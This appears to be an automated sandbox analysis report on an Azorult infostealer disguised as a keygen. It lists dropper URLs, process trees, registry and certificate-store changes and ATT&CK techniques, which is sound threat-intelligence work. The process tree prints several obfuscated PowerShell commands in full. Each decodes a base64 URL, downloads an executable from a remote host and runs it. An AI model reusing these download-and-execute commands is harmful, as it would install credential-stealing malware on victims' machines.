azorult | 201001-nyhbt4p25j_pw_infected[.]rar

Resubmissions

02-10-2020 21:14

201002-pjxdl9y6a6 10

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:51

01-10-2020 20:49

Analysis

max time kernel
32s
max time network
167s
platform
windows7_x64
resource
win7v200722
submitted
01-10-2020 20:51

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General

Target

201001-nyhbt4p25j_pw_infected/Keygen — копия (3).exe

Score

10^/10

azorult infostealer trojan

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Azorult
An information stealer that was first discovered in 2016, targeting browsing history and passwords.
trojan infostealer azorult
Blocklisted process makes network request 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

10 1916 powershell.exe
12 1916 powershell.exe
17 1500 powershell.exe
18 1976 powershell.exe
22 1500 powershell.exe
23 1976 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 7 IoCs

Processes:

Keygen.exeihk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exeihk.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

1100 Keygen.exe
2376 ihk.exe
2444 FVjhgtresfdbv.exe
2468 NHtrdsaghfDF.exe
2520 ihk.exe
2544 NHtrdsaghfDF.exe
2592 FVjhgtresfdbv.exe
Loads dropped DLL 9 IoCs

Processes:

cmd.exepowershell.exeihk.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

456 cmd.exe
1916 powershell.exe
1916 powershell.exe
2376 ihk.exe
2376 ihk.exe
2376 ihk.exe
2376 ihk.exe
2468 NHtrdsaghfDF.exe
2444 FVjhgtresfdbv.exe

flow	pid	process
10	1916	powershell.exe
12	1916	powershell.exe
17	1500	powershell.exe
18	1976	powershell.exe
22	1500	powershell.exe
23	1976	powershell.exe

pid	process
1100	Keygen.exe
2376	ihk.exe
2444	FVjhgtresfdbv.exe
2468	NHtrdsaghfDF.exe
2520	ihk.exe
2544	NHtrdsaghfDF.exe
2592	FVjhgtresfdbv.exe

pid	process
456	cmd.exe
1916	powershell.exe
1916	powershell.exe
2376	ihk.exe
2376	ihk.exe
2376	ihk.exe
2376	ihk.exe
2468	NHtrdsaghfDF.exe
2444	FVjhgtresfdbv.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

ihk.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

description	pid	process	target process
PID 2376 set thread context of 2520	2376	ihk.exe	ihk.exe
PID 2468 set thread context of 2544	2468	NHtrdsaghfDF.exe	NHtrdsaghfDF.exe
PID 2444 set thread context of 2592	2444	FVjhgtresfdbv.exe	FVjhgtresfdbv.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1840 timeout.exe
1908 timeout.exe
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Software\Microsoft\Internet Explorer\Main mshta.exe

pid	process
1840	timeout.exe
1908	timeout.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-403932158-3302036622-1224131197-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1130

Modify Registry

T1112

Processes:

ihk.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13	ihk.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510	ihk.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
1500	powershell.exe
1976	powershell.exe
1540	powershell.exe
568	powershell.exe
1948	powershell.exe
1916	powershell.exe
1976	powershell.exe
568	powershell.exe
1916	powershell.exe
1948	powershell.exe
1540	powershell.exe
1500	powershell.exe

Suspicious behavior: MapViewOfSection 3 IoCs

Processes:

ihk.exeNHtrdsaghfDF.exeFVjhgtresfdbv.exe

pid process

2376 ihk.exe
2468 NHtrdsaghfDF.exe
2444 FVjhgtresfdbv.exe

pid	process
2376	ihk.exe
2468	NHtrdsaghfDF.exe
2444	FVjhgtresfdbv.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	1500	powershell.exe
Token: SeDebugPrivilege	1976	powershell.exe
Token: SeDebugPrivilege	1540	powershell.exe
Token: SeDebugPrivilege	568	powershell.exe
Token: SeDebugPrivilege	1948	powershell.exe
Token: SeDebugPrivilege	1916	powershell.exe

Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

Keygen.exeihk.exeFVjhgtresfdbv.exeNHtrdsaghfDF.exe

pid process

1100 Keygen.exe
2376 ihk.exe
2444 FVjhgtresfdbv.exe
2468 NHtrdsaghfDF.exe

pid	process
1100	Keygen.exe
2376	ihk.exe
2444	FVjhgtresfdbv.exe
2468	NHtrdsaghfDF.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Keygen — копия (3).execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 1128 wrote to memory of 456	1128	Keygen — копия (3).exe	cmd.exe
PID 1128 wrote to memory of 456	1128	Keygen — копия (3).exe	cmd.exe
PID 1128 wrote to memory of 456	1128	Keygen — копия (3).exe	cmd.exe
PID 1128 wrote to memory of 456	1128	Keygen — копия (3).exe	cmd.exe
PID 456 wrote to memory of 1100	456	cmd.exe	Keygen.exe
PID 456 wrote to memory of 1100	456	cmd.exe	Keygen.exe
PID 456 wrote to memory of 1100	456	cmd.exe	Keygen.exe
PID 456 wrote to memory of 1100	456	cmd.exe	Keygen.exe
PID 456 wrote to memory of 1720	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1720	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1720	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1720	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1236	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1236	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1236	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1236	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1840	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1840	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1840	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1840	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1624	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1624	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1624	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1624	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1580	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1580	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1580	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1580	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1908	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1908	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1908	456	cmd.exe	timeout.exe
PID 456 wrote to memory of 1908	456	cmd.exe	timeout.exe
PID 1720 wrote to memory of 1916	1720	mshta.exe	powershell.exe
PID 1720 wrote to memory of 1916	1720	mshta.exe	powershell.exe
PID 1720 wrote to memory of 1916	1720	mshta.exe	powershell.exe
PID 1720 wrote to memory of 1916	1720	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1976	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1976	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1976	1624	mshta.exe	powershell.exe
PID 1624 wrote to memory of 1976	1624	mshta.exe	powershell.exe
PID 1236 wrote to memory of 1948	1236	mshta.exe	powershell.exe
PID 1236 wrote to memory of 1948	1236	mshta.exe	powershell.exe
PID 1236 wrote to memory of 1948	1236	mshta.exe	powershell.exe
PID 1236 wrote to memory of 1948	1236	mshta.exe	powershell.exe
PID 1580 wrote to memory of 568	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 568	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 568	1580	mshta.exe	powershell.exe
PID 1580 wrote to memory of 568	1580	mshta.exe	powershell.exe
PID 456 wrote to memory of 1172	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1172	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1172	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1172	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1984	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1984	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1984	456	cmd.exe	mshta.exe
PID 456 wrote to memory of 1984	456	cmd.exe	mshta.exe
PID 1172 wrote to memory of 1500	1172	mshta.exe	powershell.exe
PID 1172 wrote to memory of 1500	1172	mshta.exe	powershell.exe
PID 1172 wrote to memory of 1500	1172	mshta.exe	powershell.exe
PID 1172 wrote to memory of 1500	1172	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1540	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1540	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1540	1984	mshta.exe	powershell.exe
PID 1984 wrote to memory of 1540	1984	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (3).exe
"C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — копия (3).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\SysWOW64\cmd.exe
cmd /c ""C:\Users\Admin\AppData\Local\Temp\6844.tmp\start.bat" "C:\Users\Admin\AppData\Local\Temp\201001-nyhbt4p25j_pw_infected\Keygen — ????? (3).exe""
2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:456

C:\Users\Admin\AppData\Local\Temp\6844.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:1100

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\m.hta"
3⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1916

C:\Users\Public\ihk.exe
"C:\Users\Public\ihk.exe"
5⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2376

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2444

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
PID:2592

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:2468

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:2544

C:\Users\Public\ihk.exe
"C:\Users\Public\ihk.exe"
6⤵
- Executes dropped EXE
- Modifies system certificate store
PID:2520

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\m1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1236

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1948

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:1840

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\b.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1624

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\b1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1580

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:568

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:1908

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\ba.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1172

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1500

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\6844.tmp\ba1.hta"
3⤵
- Suspicious use of WriteProcessMemory
PID:1984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Install Root Certificate

T1130

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1ab2c564-9698-406f-80da-b82bfb15ab48

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_38604b7f-3b56-4cdf-857e-df63e390b481

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3a38e600-169e-4ec7-98bd-529788f42566

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_42778251-f07e-4ae1-bc57-a77894ebb1f5

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4c3f706e-97a9-41e8-aca3-b206a4c6c3c2

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5c80f677-3c28-410d-966a-1d329145fa84

